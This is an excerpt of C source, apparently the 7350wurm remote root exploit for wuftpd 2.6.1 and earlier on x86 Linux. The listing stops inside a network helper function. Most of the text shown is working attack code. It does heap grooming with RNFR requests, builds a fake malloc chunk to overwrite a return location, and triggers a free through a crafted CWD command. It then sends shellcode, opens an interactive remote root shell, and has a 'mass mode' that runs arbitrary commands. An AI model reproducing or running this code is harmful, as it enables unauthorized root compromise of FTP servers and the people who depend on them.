| 232 | /*** MASS mode stuff | ||
| 233 | */ | ||
| 234 | static int | ||
| 235 | sc_build_x86_lnx (unsigned char *target, size_t target_len, | ||
| 236 | unsigned char *shellcode, char **argv); | ||
| 237 | |||
| 238 | int mass = 0; /* enable with -m (kids, get hurt!) */ | ||
| 239 | unsigned int mlen = 0; | ||
| 240 | unsigned char mcode[256]; | ||
| 241 | |||
| 242 | |||
| 243 | /* imported from network.c | ||
| 244 | */ | ||
| 245 | #define NET_CONNTIMEOUT 60 | ||
| 246 | #define NET_READTIMEOUT 20 | ||
| 247 | int net_conntimeout = NET_CONNTIMEOUT; | ||
| 248 | |||
| 249 | unsigned long int net_resolve (char *host); | ||
| 250 | int net_connect (struct sockaddr_in *cs, char *server, | ||
| 251 | unsigned short int port, int sec); | ||
| 252 | void net_write (int fd, const char *str, ...); | ||
| 253 | int net_rtimeout (int fd, int sec); | ||
| 254 | int net_rlinet (int fd, char *buf, int bufsize, int sec); | ||
| 255 | |||
| 256 | |||
| 257 | /* exploitation related stuff, which is fixed on all wuftpd systems | ||
| 258 | */ | ||
| 259 | #define RNFR_SIZE 4 | ||
| 260 | #define RNFR_NUM 73 | ||
| 261 | |||
| 262 | int automode = 0; /* evil, do not use */ | ||
| 263 | int debugmode = 0; | ||
| 264 | |||
| 265 | void | ||
| 266 | usage (char *progname) | ||
| 267 | { | ||
| 268 | fprintf (stderr, "usage: %s [-h] [-v] [-a] [-D] [-m]\n" | ||
| 269 | "\t[-t <num>] [-u <user>] [-p <pass>] [-d host]\n" | ||
| 270 | "\t[-L <retloc>] [-A <retaddr>]\n\n", progname); | ||
| 271 | |||
| 272 | fprintf (stderr, | ||
| 273 | "-h\tthis help\n" | ||
| 274 | "-v\tbe verbose (default: off, twice for greater effect)\n" | ||
| 275 | "-a\tAUTO mode (target from banner)\n" | ||
| 276 | "-D\tDEBUG mode (waits for keypresses)\n" | ||
| 277 | "-m\tenable mass mode (use with care)\n" | ||
| 278 | "-t num\tchoose target (0 for list, try -v or -v -v)\n" | ||
| 279 | "-u user\tusername to login to FTP (default: \"ftp\")\n" | ||
| 280 | "-p pass\tpassword to use (default: \"mozilla@\")\n" | ||
| 281 | "-d dest\tIP address or fqhn to connect to " | ||
| 282 | "(default: 127.0.0.1)\n" | ||
| 283 | "-L loc\toverride target-supplied retloc (format: 0xdeadbeef)\n" | ||
| 284 | "-A addr\toverride target-supplied retaddr (format: 0xcafebabe)\n"); | ||
| 285 | fprintf (stderr, "\n"); | ||
| 286 | |||
| 287 | exit (EXIT_FAILURE); | ||
| 288 | } | ||
| 289 | |||
| 290 | |||
| 291 | int | ||
| 292 | main (int argc, char *argv[]) | ||
| 293 | { | ||
| 294 | char c; | ||
| 295 | char * progname; /* = argv[0] */ | ||
| 296 | int fd; | ||
| 297 | |||
| 298 | tgt_type * tgt = NULL; | ||
| 299 | int tgt_num = -1; | ||
| 300 | unsigned long int user_retloc = 0, | ||
| 301 | user_retaddr = 0; | ||
| 302 | unsigned long int malign = 0; /* PWD alignment */ | ||
| 303 | |||
| 304 | unsigned char xpbuf[512 + 16]; | ||
| 305 | |||
| 306 | |||
| 307 | fprintf (stderr, "7350wurm - x86/linux wuftpd <= 2.6.1 remote root\n" | ||
| 308 | "team teso (thx bnuts, tomas, synnergy.net !).\n\n"); | ||
| 309 | |||
| 310 | progname = argv[0]; | ||
| 311 | if (argc < 2) | ||
| 312 | usage (progname); | ||
| 313 | |||
| 314 | |||
| 315 | while ((c = getopt (argc, argv, "M:hvaDmt:u:p:d:L:A:")) != EOF) { | ||
| 316 | switch (c) { | ||
| 317 | case 'M': | ||
| 318 | if (sscanf (optarg, "%lu", &malign) != 1) | ||
| 319 | usage (progname); | ||
| 320 | break; | ||
| 321 | case 'h': | ||
| 322 | usage (progname); | ||
| 323 | break; | ||
| 324 | case 'a': | ||
| 325 | automode = 1; | ||
| 326 | break; | ||
| 327 | case 'D': | ||
| 328 | debugmode = 1; | ||
| 329 | break; | ||
| 330 | case 'v': | ||
| 331 | verbose += 1; | ||
| 332 | break; | ||
| 333 | case 'm': | ||
| 334 | mass = 1; | ||
| 335 | break; | ||
| 336 | case 't': | ||
| 337 | if (sscanf (optarg, "%u", &tgt_num) != 1) | ||
| 338 | usage (progname); | ||
| 339 | break; | ||
| 340 | case 'u': | ||
| 341 | username = optarg; | ||
| 342 | printf ("username = %s\n", optarg); | ||
| 343 | break; | ||
| 344 | case 'p': | ||
| 345 | password = optarg; | ||
| 346 | break; | ||
| 347 | case 'd': | ||
| 348 | dest = optarg; | ||
| 349 | break; | ||
| 350 | case 'L': | ||
| 351 | if (sscanf (optarg, "0x%lx", &user_retloc) != 1) | ||
| 352 | usage (progname); | ||
| 353 | break; | ||
| 354 | case 'A': | ||
| 355 | if (sscanf (optarg, "0x%lx", &user_retaddr) != 1) | ||
| 356 | usage (progname); | ||
| 357 | break; | ||
| 358 | default: | ||
| 359 | usage (progname); | ||
| 360 | break; | ||
| 361 | } | ||
| 362 | } | ||
| 363 | |||
| 364 | /* if both required offsets are given manually, then we dont have | ||
| 365 | * to require a target selection. otherwise check whether the target | ||
| 366 | * is within the list. if its not, then print a list of available | ||
| 367 | * targets | ||
| 368 | */ | ||
| 369 | if (user_retloc != 0 && user_retaddr != 0) { | ||
| 370 | tgt = &tmanual; | ||
| 371 | } else if (automode == 0 && (tgt_num == 0 || | ||
| 372 | tgt_num >= (sizeof (targets) / sizeof (tgt_type)))) | ||
| 373 | { | ||
| 374 | if (tgt_num != 0) | ||
| 375 | printf ("WARNING: target out of list. giving list\n\n"); | ||
| 376 | tgt_num = 0; | ||
| 377 | |||
| 378 | printf ("num . description\n"); | ||
| 379 | printf ("----+-------------------------------------------------------\n"); | ||
| 380 | |||
| 381 | for ( ; targets[tgt_num].desc != NULL ; ++tgt_num) { | ||
| 382 | printf ("%3d | %s\n", tgt_num + 1, | ||
| 383 | targets[tgt_num].desc); | ||
| 384 | |||
| 385 | if (verbose) | ||
| 386 | printf (" : %s\n", targets[tgt_num].banner); | ||
| 387 | if (verbose >= 2) | ||
| 388 | printf (" : retloc: 0x%08lx " | ||
| 389 | "retaddr: 0x%08lx\n", | ||
| 390 | targets[tgt_num].retloc, | ||
| 391 | targets[tgt_num].retaddr); | ||
| 392 | } | ||
| 393 | |||
| 394 | printf (" '\n"); | ||
| 395 | |||
| 396 | exit (EXIT_SUCCESS); | ||
| 397 | } | ||
| 398 | if (tgt == NULL && automode == 0) | ||
| 399 | tgt = &targets[tgt_num - 1]; | ||
| 400 | |||
| 401 | if (mass == 1) { | ||
| 402 | if ((argc - optind) == 0) | ||
| 403 | usage (progname); | ||
| 404 | |||
| 405 | mlen = sc_build_x86_lnx (mcode, sizeof (mcode), | ||
| 406 | x86_lnx_execve, &argv[optind]); | ||
| 407 | |||
| 408 | if (mlen >= 0xff) { | ||
| 409 | fprintf (stderr, "created argv-code too long " | ||
| 410 | "(%d bytes)\n", mlen); | ||
| 411 | |||
| 412 | exit (EXIT_FAILURE); | ||
| 413 | } | ||
| 414 | |||
| 415 | fprintf (stderr, "# created %d byte execve shellcode\n", mlen); | ||
| 416 | } | ||
| 417 | |||
| 418 | |||
| 419 | printf ("# trying to log into %s with (%s/%s) ...", dest, | ||
| 420 | username, password); | ||
| 421 | fflush (stdout); | ||
| 422 | |||
| 423 | fd = ftp_login (dest, username, password); | ||
| 424 | if (fd <= 0) { | ||
| 425 | fprintf (stderr, "\nfailed to connect (user/pass correct?)\n"); | ||
| 426 | exit (EXIT_FAILURE); | ||
| 427 | } | ||
| 428 | printf (" connected.\n"); | ||
| 429 | |||
| 430 | if (debugmode) { | ||
| 431 | printf ("DEBUG: press enter\n"); | ||
| 432 | getchar (); | ||
| 433 | } | ||
| 434 | |||
| 435 | printf ("# banner: %s", (ftp_banner == NULL) ? "???" : | ||
| 436 | ftp_banner); | ||
| 437 | |||
| 438 | if (tgt == NULL && automode) { | ||
| 439 | tgt = tgt_frombanner (ftp_banner); | ||
| 440 | if (tgt == NULL) { | ||
| 441 | printf ("# failed to jield target from banner, aborting\n"); | ||
| 442 | |||
| 443 | exit (EXIT_FAILURE); | ||
| 444 | } | ||
| 445 | printf ("# successfully selected target from banner\n"); | ||
| 446 | } | ||
| 447 | |||
| 448 | |||
| 449 | if (user_retaddr != 0) { | ||
| 450 | fprintf (stderr, "# overriding target retaddr with: 0x%08lx\n", | ||
| 451 | user_retaddr); | ||
| 452 | |||
| 453 | tgt->retaddr = user_retaddr; | ||
| 454 | } | ||
| 455 | |||
| 456 | if (user_retloc != 0) { | ||
| 457 | fprintf (stderr, "# overriding target retloc with: 0x%08lx\n", | ||
| 458 | user_retloc); | ||
| 459 | |||
| 460 | tgt->retloc = user_retloc; | ||
| 461 | } | ||
| 462 | |||
| 463 | printf ("\n### TARGET: %s\n\n", tgt->desc); | ||
| 464 | |||
| 465 | /* real stuff starts from here | ||
| 466 | */ | ||
| 467 | printf ("# 1. filling memory gaps\n"); | ||
| 468 | xp_gapfill (fd, RNFR_NUM, RNFR_SIZE); | ||
| 469 | |||
| 470 | |||
| 471 | printf ("# 2. sending bigbuf + fakechunk\n"); | ||
| 472 | xp_build (tgt, xpbuf, 500 - strlen ("LIST ")); | ||
| 473 | if (verbose) | ||
| 474 | hexdump ("xpbuf", xpbuf, strlen (xpbuf)); | ||
| 475 | ftp_escape (xpbuf, sizeof (xpbuf)); | ||
| 476 | net_write (fd, "CWD %s\n", xpbuf); | ||
| 477 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "550 "); | ||
| 478 | |||
| 479 | |||
| 480 | /* synnergy.net uberleet method (thank you very much guys !) | ||
| 481 | */ | ||
| 482 | net_write (fd, "CWD ~/{.,.,.,.}\n"); | ||
| 483 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 "); | ||
| 484 | |||
| 485 | /* now, we flush the last-used-chunk marker in glibc malloc code. else | ||
| 486 | * we might land in a previously used bigger chunk, but we need a | ||
| 487 | * sequential order. "CWD ." will allocate a two byte chunk, which will | ||
| 488 | * be reused on any later small malloc. | ||
| 489 | */ | ||
| 490 | net_write (fd, "CWD .\n"); | ||
| 491 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 "); | ||
| 492 | |||
| 493 | xp_gapfill (fd, 1, 16); /* cause chunk w/ 0x20 size */ | ||
| 494 | |||
| 495 | { | ||
| 496 | unsigned long int dir_chunk_size, | ||
| 497 | bridge_dist, | ||
| 498 | padchunk_size, | ||
| 499 | fakechunk_size; | ||
| 500 | unsigned char * dl; /* dirlength */ | ||
| 501 | |||
| 502 | net_write (fd, "PWD\n"); | ||
| 503 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "257 "); | ||
| 504 | |||
| 505 | dl = strchr (xpbuf, '"'); | ||
| 506 | if (dl == NULL || strchr (dl + 1, '"') == NULL) { | ||
| 507 | fprintf (stderr, "faulty PWD reply: %s\n", xpbuf); | ||
| 508 | |||
| 509 | exit (EXIT_FAILURE); | ||
| 510 | } | ||
| 511 | |||
| 512 | dir_chunk_size = 0; | ||
| 513 | for (dl += 1 ; *dl != '"' ; ++dl) | ||
| 514 | dir_chunk_size += 1; | ||
| 515 | |||
| 516 | dir_chunk_size += 3; /* ~/ + NUL byte */ | ||
| 517 | #if 0 | ||
| 518 | dir_chunk_size = (dir_chunk_size + 7) & ~7; | ||
| 519 | dir_chunk_size = (dir_chunk_size + 4 + 7) & ~7; | ||
| 520 | #endif | ||
| 521 | dir_chunk_size = CHUNK_ROUND (dir_chunk_size); | ||
| 522 | printf ("dir_chunk_size = 0x%08lx\n", dir_chunk_size); | ||
| 523 | |||
| 524 | /* 0x10 (CWD ~/{.,.,.,.}) + 4 * dirchunk */ | ||
| 525 | bridge_dist = 0x10 + 4 * dir_chunk_size; | ||
| 526 | printf ("bridge_dist = 0x%08lx\n", bridge_dist); | ||
| 527 | /* 0x18 (RNFR 16), dcs (RNFR dir), 0x10 (CWD ~{) */ | ||
| 528 | padchunk_size = bridge_dist - 0x18 - dir_chunk_size - 0x10; | ||
| 529 | printf ("padchunk_size = 0x%08lx\n", padchunk_size); | ||
| 530 | |||
| 531 | /* +4 = this_size field itself */ | ||
| 532 | fakechunk_size = CHUNK_POS - 0x1c + 4; | ||
| 533 | #if 0 | ||
| 534 | fakechunk_size = 0x18 + /* RNFR 16* */ | ||
| 535 | 0x10 + /* RNFR . */ | ||
| 536 | padchunk_size + /* RNFR padding */ | ||
| 537 | 0x10 + /* CWD ~{ */ | ||
| 538 | 0x10; /* globlist = malloc(...) */ | ||
| 539 | #endif | ||
| 540 | fakechunk_size |= 0x1; /* PREV_INUSE */ | ||
| 541 | |||
| 542 | printf ("fakechunk_size = 0x%08lx\n", fakechunk_size); | ||
| 543 | xp_buildsize (fd, fakechunk_size, dir_chunk_size); | ||
| 544 | |||
| 545 | /* pad down to the minimum possible size in 8 byte alignment | ||
| 546 | */ | ||
| 547 | xp_gapfill (fd, 1, padchunk_size - 8 - 1); | ||
| 548 | } | ||
| 549 | |||
| 550 | if (debugmode) { | ||
| 551 | printf ("press enter\n"); | ||
| 552 | getchar (); | ||
| 553 | } | ||
| 554 | |||
| 555 | printf ("# 3. triggering free(globlist[1])\n"); | ||
| 556 | net_write (fd, "CWD ~{\n"); | ||
| 557 | |||
| 558 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "sP"); | ||
| 559 | if (strncmp (xpbuf, "sP", 2) != 0) { | ||
| 560 | fprintf (stderr, "exploitation FAILED !\noutput:\n%s\n", | ||
| 561 | xpbuf); | ||
| 562 | |||
| 563 | exit (EXIT_FAILURE); | ||
| 564 | } | ||
| 565 | |||
| 566 | printf ("#\n# exploitation succeeded. sending real shellcode\n"); | ||
| 567 | |||
| 568 | if (mass == 1) { | ||
| 569 | printf ("# mass mode, sending constructed argv code\n"); | ||
| 570 | |||
| 571 | net_write (fd, "%s\n", mcode); | ||
| 572 | |||
| 573 | printf ("# send. sleeping 10 seconds\n"); | ||
| 574 | sleep (10); | ||
| 575 | |||
| 576 | printf ("# success.\n"); | ||
| 577 | |||
| 578 | exit (EXIT_SUCCESS); | ||
| 579 | } | ||
| 580 | |||
| 581 | printf ("# sending setreuid/chroot/execve shellcode\n"); | ||
| 582 | net_write (fd, "%s", x86_lnx_shell); | ||
| 583 | |||
| 584 | printf ("# spawning shell\n"); | ||
| 585 | printf ("##################################################" | ||
| 586 | "##########################\n"); | ||
| 587 | |||
| 588 | write (fd, INIT_CMD, strlen (INIT_CMD)); | ||
| 589 | shell (fd); | ||
| 590 | |||
| 591 | exit (EXIT_SUCCESS); | ||
| 592 | } | ||
| 593 | |||
| 594 | |||
| 595 | tgt_type * | ||
| 596 | tgt_frombanner (unsigned char *banner) | ||
| 597 | { | ||
| 598 | int tw; /* target list walker */ | ||
| 599 | |||
| 600 | |||
| 601 | for (tw = 0 ; targets[tw].desc != NULL ; ++tw) { | ||
| 602 | if (strstr (banner, targets[tw].banner) != NULL) | ||
| 603 | return (&targets[tw]); | ||
| 604 | } | ||
| 605 | |||
| 606 | return (NULL); | ||
| 607 | } | ||
| 608 | |||
| 609 | |||
| 610 | /* xp_buildsize | ||
| 611 | * | ||
| 612 | * set chunksize to this_size_ls. do this in a csize bytes long chunk. | ||
| 613 | * normally csize = 0x10. csize is always a padded chunksize. | ||
| 614 | */ | ||
| 615 | |||
| 616 | void | ||
| 617 | xp_buildsize (int fd, unsigned char this_size_ls, unsigned long int csize) | ||
| 618 | { | ||
| 619 | int n, | ||
| 620 | cw, /* chunk walker */ | ||
| 621 | bw; /* back walker */ | ||
| 622 | unsigned char tmpbuf[512]; | ||
| 623 | unsigned char * leet = "7350"; | ||
| 624 | |||
| 625 | |||
| 626 | for (n = 2 ; n > 0 ; --n) { | ||
| 627 | memset (tmpbuf, '\0', sizeof (tmpbuf)); | ||
| 628 | |||
| 629 | for (cw = 0 ; cw < (csize - 0x08) ; ++cw) | ||
| 630 | tmpbuf[cw] = leet[cw % 4]; | ||
| 631 | |||
| 632 | tmpbuf[cw - 4 + n] = '\0'; | ||
| 633 | printf (": CWD %s\n", tmpbuf); | ||
| 634 | net_write (fd, "CWD %s\n", tmpbuf); | ||
| 635 | ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 "); | ||
| 636 | } | ||
| 637 | |||
| 638 | memset (tmpbuf, '\0', sizeof (tmpbuf)); | ||
| 639 | for (cw = 0 ; cw < (csize - 0x08 - 0x04) ; ++cw) | ||
| 640 | tmpbuf[cw] = leet[cw % 4]; | ||
| 641 | |||
| 642 | printf ("| CWD %s\n", tmpbuf); | ||
| 643 | net_write (fd, "CWD %s%c\n", tmpbuf, this_size_ls); | ||
| 644 | ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 "); | ||
| 645 | |||
| 646 | /* send a minimum-sized malloc request that will allocate a chunk | ||
| 647 | * with 'csize' overall bytes | ||
| 648 | */ | ||
| 649 | if (csize == 0x10) { /* minimum size of a chunk, yay */ | ||
| 650 | xp_gapfill (fd, 1, 1); | ||
| 651 | } else { | ||
| 652 | xp_gapfill (fd, 1, csize - 8 - 7); /* its the same */ | ||
| 653 | } | ||
| 654 | |||
| 655 | return; | ||
| 656 | } | ||
| 657 | |||
| 658 | #if 0 | ||
| 659 | void | ||
| 660 | xp_buildsize (int fd, unsigned char this_size_ls, unsigned long int csize) | ||
| 661 | { | ||
| 662 | int n; | ||
| 663 | char * rst_arr[3] = { "7350foo", "7350fo", NULL }; | ||
| 664 | unsigned char tmpbuf[512]; | ||
| 665 | |||
| 666 | |||
| 667 | for (n = 0 ; rst_arr[n] != NULL ; ++n) { | ||
| 668 | net_write (fd, "CWD %s\n", rst_arr[n]); | ||
| 669 | ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 "); | ||
| 670 | } | ||
| 671 | |||
| 672 | net_write (fd, "CWD 7350%c\n", this_size_ls); | ||
| 673 | ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 "); | ||
| 674 | |||
| 675 | xp_gapfill (fd, 1, 1); /* protect this_size */ | ||
| 676 | |||
| 677 | return; | ||
| 678 | } | ||
| 679 | #endif | ||
| 680 | |||
| 681 | |||
| 682 | /* xp_gapfill | ||
| 683 | * | ||
| 684 | * fill all small memory gaps in wuftpd malloc space. do this by sending | ||
| 685 | * rnfr requests which cause a memleak in wuftpd. | ||
| 686 | * | ||
| 687 | * return in any case | ||
| 688 | */ | ||
| 689 | |||
| 690 | void | ||
| 691 | xp_gapfill (int fd, int rnfr_num, int rnfr_size) | ||
| 692 | { | ||
| 693 | int n; | ||
| 694 | unsigned char * rb; /* rnfr buffer */ | ||
| 695 | unsigned char * rbw; /* rnfr buffer walker */ | ||
| 696 | unsigned char rcv_buf[512]; /* temporary receive buffer */ | ||
| 697 | |||
| 698 | |||
| 699 | rbw = rb = calloc (1, rnfr_size + 6); | ||
| 700 | strcpy (rbw, "RNFR "); | ||
| 701 | rbw += strlen (rbw); | ||
| 702 | |||
| 703 | /* append a string of "././././". since wuftpd only checks whether | ||
| 704 | * the pathname is lstat'able, it will go through without any problems | ||
| 705 | */ | ||
| 706 | for (n = 0 ; n < rnfr_size ; ++n) | ||
| 707 | strcat (rbw, ((n % 2) == 0) ? "." : "/"); | ||
| 708 | strcat (rbw, "\n"); | ||
| 709 | |||
| 710 | for (n = 0 ; n < rnfr_num; ++n) { | ||
| 711 | net_write (fd, "%s", rb); | ||
| 712 | ftp_recv_until (fd, rcv_buf, sizeof (rcv_buf), "350 "); | ||
| 713 | } | ||
| 714 | free (rb); | ||
| 715 | |||
| 716 | return; | ||
| 717 | } | ||
| 718 | |||
| 719 | |||
| 720 | #define ADDR_STORE(ptr,addr){\ | ||
| 721 | ((unsigned char *) (ptr))[0] = (addr) & 0xff;\ | ||
| 722 | ((unsigned char *) (ptr))[1] = ((addr) >> 8) & 0xff;\ | ||
| 723 | ((unsigned char *) (ptr))[2] = ((addr) >> 16) & 0xff;\ | ||
| 724 | ((unsigned char *) (ptr))[3] = ((addr) >> 24) & 0xff;\ | ||
| 725 | } | ||
| 726 | |||
| 727 | |||
| 728 | int | ||
| 729 | xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len) | ||
| 730 | { | ||
| 731 | unsigned char * wl; | ||
| 732 | |||
| 733 | |||
| 734 | memset (buf, '\0', buf_len); | ||
| 735 | |||
| 736 | memset (buf, '0', CHUNK_POS); | ||
| 737 | xp_buildchunk (tgt, buf + CHUNK_POS, buf_len - CHUNK_POS - 1); | ||
| 738 | |||
| 739 | for (wl = buf + strlen (buf) ; wl < &buf[buf_len - 1] ; wl += 2) { | ||
| 740 | wl[0] = '\xeb'; | ||
| 741 | wl[1] = '\x0c'; | ||
| 742 | } | ||
| 743 | |||
| 744 | memcpy (&buf[buf_len - 1] - tgt->shellcode_len, tgt->shellcode, | ||
| 745 | tgt->shellcode_len); | ||
| 746 | |||
| 747 | |||
| 748 | return (strlen (buf)); | ||
| 749 | } | ||
| 750 | |||
| 751 | |||
| 752 | /* xp_buildchunk | ||
| 753 | * | ||
| 754 | * build the fake malloc chunk that will overwrite retloc with retaddr | ||
| 755 | */ | ||
| 756 | |||
| 757 | void | ||
| 758 | xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen) | ||
| 759 | { | ||
| 760 | fprintf (stderr, "\tbuilding chunk: ([0x%08lx] = 0x%08lx) in %d bytes\n", | ||
| 761 | tgt->retloc, tgt->retaddr, clen); | ||
| 762 | |||
| 763 | /* easy, straight forward technique | ||
| 764 | */ | ||
| 765 | ADDR_STORE (&cspace[0], 0xfffffff0); /* prev_size */ | ||
| 766 | ADDR_STORE (&cspace[4], 0xfffffffc); /* this_size */ | ||
| 767 | ADDR_STORE (&cspace[8], tgt->retloc - 12); /* fd */ | ||
| 768 | ADDR_STORE (&cspace[12], tgt->retaddr); /* bk */ | ||
| 769 | |||
| 770 | return; | ||
| 771 | } | ||
| 772 | |||
| 773 | |||
| 774 | |||
| 775 | void | ||
| 776 | shell (int sock) | ||
| 777 | { | ||
| 778 | int l; | ||
| 779 | char buf[512]; | ||
| 780 | fd_set rfds; | ||
| 781 | |||
| 782 | |||
| 783 | while (1) { | ||
| 784 | FD_SET (0, &rfds); | ||
| 785 | FD_SET (sock, &rfds); | ||
| 786 | |||
| 787 | select (sock + 1, &rfds, NULL, NULL, NULL); | ||
| 788 | if (FD_ISSET (0, &rfds)) { | ||
| 789 | l = read (0, buf, sizeof (buf)); | ||
| 790 | if (l <= 0) { | ||
| 791 | perror ("read user"); | ||
| 792 | exit (EXIT_FAILURE); | ||
| 793 | } | ||
| 794 | write (sock, buf, l); | ||
| 795 | } | ||
| 796 | |||
| 797 | if (FD_ISSET (sock, &rfds)) { | ||
| 798 | l = read (sock, buf, sizeof (buf)); | ||
| 799 | if (l == 0) { | ||
| 800 | printf ("connection closed by foreign host.\n"); | ||
| 801 | exit (EXIT_FAILURE); | ||
| 802 | } else if (l < 0) { | ||
| 803 | perror ("read remote"); | ||
| 804 | exit (EXIT_FAILURE); | ||
| 805 | } | ||
| 806 | write (1, buf, l); | ||
| 807 | } | ||
| 808 | } | ||
| 809 | } | ||
| 810 | |||
| 811 | |||
| 812 | /*** FTP functions | ||
| 813 | */ | ||
| 814 | |||
| 815 | /* FTP is TELNET is SHIT. | ||
| 816 | */ | ||
| 817 | |||
| 818 | void | ||
| 819 | ftp_escape (unsigned char *buf, unsigned long int buflen) | ||
| 820 | { | ||
| 821 | unsigned char * obuf = buf; | ||
| 822 | |||
| 823 | |||
| 824 | for ( ; *buf != '\0' ; ++buf) { | ||
| 825 | if (*buf == 0xff && | ||
| 826 | (((buf - obuf) + strlen (buf) + 1) < buflen)) | ||
| 827 | { | ||
| 828 | memmove (buf + 1, buf, strlen (buf) + 1); | ||
| 829 | buf += 1; | ||
| 830 | } | ||
| 831 | } | ||
| 832 | } | ||
| 833 | |||
| 834 | |||
| 835 | void | ||
| 836 | ftp_recv_until (int sock, char *buff, int len, char *begin) | ||
| 837 | { | ||
| 838 | char dbuff[2048]; | ||
| 839 | |||
| 840 | |||
| 841 | if (buff == NULL) { | ||
| 842 | buff = dbuff; | ||
| 843 | len = sizeof (dbuff); | ||
| 844 | } | ||
| 845 | |||
| 846 | do { | ||
| 847 | memset (buff, '\x00', len); | ||
| 848 | if (net_rlinet (sock, buff, len - 1, 20) <= 0) | ||
| 849 | return; | ||
| 850 | } while (memcmp (buff, begin, strlen (begin)) != 0); | ||
| 851 | |||
| 852 | return; | ||
| 853 | } | ||
| 854 | |||
| 855 | |||
| 856 | int | ||
| 857 | ftp_login (char *host, char *user, char *pass) | ||
| 858 | { | ||
| 859 | int ftpsock; | ||
| 860 | char resp[512]; | ||
| 861 | |||
| 862 | |||
| 863 | ftpsock = net_connect (NULL, host, 21, 30); | ||
| 864 | if (ftpsock <= 0) | ||
| 865 | return (0); | ||
| 866 | |||
| 867 | memset (resp, '\x00', sizeof (resp)); | ||
| 868 | if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) | ||
| 869 | goto flerr; | ||
| 870 | |||
| 871 | /* handle multiline pre-login stuff (rfc violation !) | ||
| 872 | */ | ||
| 873 | if (memcmp (resp, "220-", 4) == 0) | ||
| 874 | ftp_recv_until (ftpsock, resp, sizeof (resp), "220 "); | ||
| 875 | |||
| 876 | if (memcmp (resp, "220 ", 4) != 0) { | ||
| 877 | if (verbose) | ||
| 878 | printf ("\n%s\n", resp); | ||
| 879 | goto flerr; | ||
| 880 | } | ||
| 881 | ftp_banner = strdup (resp); | ||
| 882 | |||
| 883 | net_write (ftpsock, "USER %s\n", user); | ||
| 884 | memset (resp, '\x00', sizeof (resp)); | ||
| 885 | if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) | ||
| 886 | goto flerr; | ||
| 887 | |||
| 888 | if (memcmp (resp, "331 ", 4) != 0) { | ||
| 889 | if (verbose) | ||
| 890 | printf ("\n%s\n", resp); | ||
| 891 | goto flerr; | ||
| 892 | } | ||
| 893 | |||
| 894 | net_write (ftpsock, "PASS %s\n", pass); | ||
| 895 | memset (resp, '\x00', sizeof (resp)); | ||
| 896 | if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) | ||
| 897 | goto flerr; | ||
| 898 | |||
| 899 | |||
| 900 | /* handle multiline responses from ftp servers | ||
| 901 | */ | ||
| 902 | if (memcmp (resp, "230-", 4) == 0) | ||
| 903 | ftp_recv_until (ftpsock, resp, sizeof (resp), "230 "); | ||
| 904 | |||
| 905 | if (memcmp (resp, "230 ", 4) != 0) { | ||
| 906 | if (verbose) | ||
| 907 | printf ("\n%s\n", resp); | ||
| 908 | goto flerr; | ||
| 909 | } | ||
| 910 | |||
| 911 | return (ftpsock); | ||
| 912 | |||
| 913 | flerr: | ||
| 914 | if (ftpsock > 0) | ||
| 915 | close (ftpsock); | ||
| 916 | |||
| 917 | return (0); | ||
| 918 | } | ||
| 919 | |||
| 920 | |||
| 921 | /* ripped from zodiac */ | ||
| 922 | void | ||
| 923 | hexdump (char *desc, unsigned char *data, unsigned int amount) | ||
| 924 | { | ||
| 925 | unsigned int dp, p; /* data pointer */ | ||
| 926 | const char trans[] = | ||
| 927 | "................................ !\"#$%&'()*+,-./0123456789" | ||
| 928 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" | ||
| 929 | "nopqrstuvwxyz{|}~...................................." | ||
| 930 | "....................................................." | ||
| 931 | "........................................"; | ||
| 932 | |||
| 933 | |||
| 934 | printf ("/* %s, %u bytes */\n", desc, amount); | ||
| 935 | |||
| 936 | for (dp = 1; dp <= amount; dp++) { | ||
| 937 | fprintf (stderr, "%02x ", data[dp-1]); | ||
| 938 | if ((dp % 8) == 0) | ||
| 939 | fprintf (stderr, " "); | ||
| 940 | if ((dp % 16) == 0) { | ||
| 941 | fprintf (stderr, "| "); | ||
| 942 | p = dp; | ||
| 943 | for (dp -= 16; dp < p; dp++) | ||
| 944 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 945 | fflush (stderr); | ||
| 946 | fprintf (stderr, "\n"); | ||
| 947 | } | ||
| 948 | fflush (stderr); | ||
| 949 | } | ||
| 950 | if ((amount % 16) != 0) { | ||
| 951 | p = dp = 16 - (amount % 16); | ||
| 952 | for (dp = p; dp > 0; dp--) { | ||
| 953 | fprintf (stderr, " "); | ||
| 954 | if (((dp % 8) == 0) && (p != 8)) | ||
| 955 | fprintf (stderr, " "); | ||
| 956 | fflush (stderr); | ||
| 957 | } | ||
| 958 | fprintf (stderr, " | "); | ||
| 959 | for (dp = (amount - (16 - p)); dp < amount; dp++) | ||
| 960 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 961 | fflush (stderr); | ||
| 962 | } | ||
| 963 | fprintf (stderr, "\n"); | ||
| 964 | |||
| 965 | return; | ||
| 966 | } | ||
| 967 | |||
| 968 | |||
| 969 | |||
| 970 | unsigned long int | ||
| 971 | net_resolve (char *host) | ||
| 972 | { | ||
| 973 | long i; | ||
| 974 | struct hostent *he; | ||
| 975 | |||
| 976 | i = inet_addr(host); | ||
| 977 | if (i == -1) { | ||
| 978 | he = gethostbyname(host); | ||
| 979 | if (he == NULL) { | ||
| 980 | return (0); | ||
| 981 | } else { | ||
| 982 | return (*(unsigned long *) he->h_addr); | ||
| 983 | } | ||
| 984 | } | ||
| 985 | return (i); | ||
| 986 | } | ||
| 987 | |||
| 988 | |||
| 989 | int | ||
| 990 | net_connect (struct sockaddr_in *cs, char *server, | ||
| 991 | unsigned short int port, int sec) | ||
| 992 | { | ||
| 993 | int n, | ||
| 994 | len, | ||
| 995 | error, | ||
| 996 | flags; | ||
